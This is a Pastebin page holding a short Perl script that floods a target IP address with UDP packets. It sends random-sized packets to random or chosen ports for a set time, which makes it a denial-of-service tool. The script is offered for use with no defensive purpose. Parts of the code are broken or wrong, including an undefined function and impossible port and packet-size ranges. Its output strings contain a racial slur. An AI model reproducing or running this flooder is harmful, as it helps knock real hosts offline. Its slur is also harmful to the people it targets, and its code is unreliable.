Advertisement
FR0ST_LXIX

idk if work

May 2nd, 2016
87
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.79 KB | None | 0 0
  1. #!/usr/bin/perl
  2.  
  3.  
  4. use Socket;
  5. use strict;
  6.  
  7. my ($ip,$port,$size,$time) = @ARGV;
  8.  
  9. my ($iaddr,$endtime,$psize,$pport);
  10.  
  11. $iaddr = inet_aton("$ip") or f "wat, no $ip\n";
  12. $endtime = time() + ($time ? $time : 100);
  13. socket(flood, PF_INET, SOCK_DGRAM, 17);
  14.  
  15. print <<EOTEXT;
  16.  
  17.  
  18. script worked, i guess ;w;
  19.  
  20.  
  21. EOTEXT
  22.  
  23. print "y r u hurting $ip " . ($port ? $port : "random") . "
  24. found u" .
  25. ($size ? "$size-byte" : "this nigga ain't responding") . "
  26. sending shit, i guess ;-; " .
  27. ($time ? " for $time seconds" : "") . "\n";
  28. print "ctrl+c if u stop, i guess" unless $time;
  29.  
  30. for (;time() <= $endtime;) {
  31. $psize = $size ? $size : int(rand(1500000-64)+64) ;
  32. $pport = $port ? $port : int(rand(1500000))+1;
  33.  
  34. send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport,
  35. $iaddr));}
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement